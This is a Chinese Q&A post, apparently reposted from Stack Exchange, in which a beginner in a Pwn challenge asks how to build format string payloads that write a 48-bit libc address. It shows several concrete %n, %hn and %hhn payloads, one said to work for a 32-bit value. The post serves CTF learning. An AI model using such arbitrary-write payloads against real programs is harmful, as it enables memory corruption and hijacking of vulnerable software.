如何用格式化字符串漏洞写入大于32位的大值(如48位libc地址)
格式化字符串漏洞写入48位libc地址的问题
我正在进行一项Pwn挑战,需要将目标内存地址覆盖为48位的libc地址,但目前仅能成功写入32位数值,写入更大值时会因对齐问题导致程序崩溃。
比如写入0x8e719f2e到target_address时,以下payload可以成功执行:
payload = b"%36465x%7$n" + b"%4285x%8$hn" + p64(target_address+2) + p64(target_address)
但尝试写入类似0x7f4121347120的libc地址时,多种方法均失败并导致程序段错误:
- 方法1:用
%hhn按降序逐个字节写入并加"A"填充对齐,payload如下:payload = b"%32x%7$hhnAAA" + b"%1x%8$hhn" + b"%19x%9$hhn" + b"%7x%10$hhn" + b"%48x%11$hhn" + b"%48x%12$hhn" + p64(ta) + p64(ta+3) + p64(ta+2) + p64(ta+4) + p64(ta+1) + p64(ta+5) - 方法2:用
%hn每次写入两个字节,payload如下:payload = b"%8500x%7$hnAAAAAA" + b"%20460x%8$hn" + b"%3617x%9$hn" + p64(ta+2) + p64(ta) + p64(ta+4) - 方法3:尝试一次性写入完整值,结果直接导致系统崩溃。
我是Pwn新手,希望了解如何正确手动构造格式化字符串payload来写入大值,暂不想使用pwntools的fmtstr_payload,想全面掌握原理,恳请帮助。
内容的提问来源于stack exchange,提问作者john
相关产品推荐
相关产品推荐

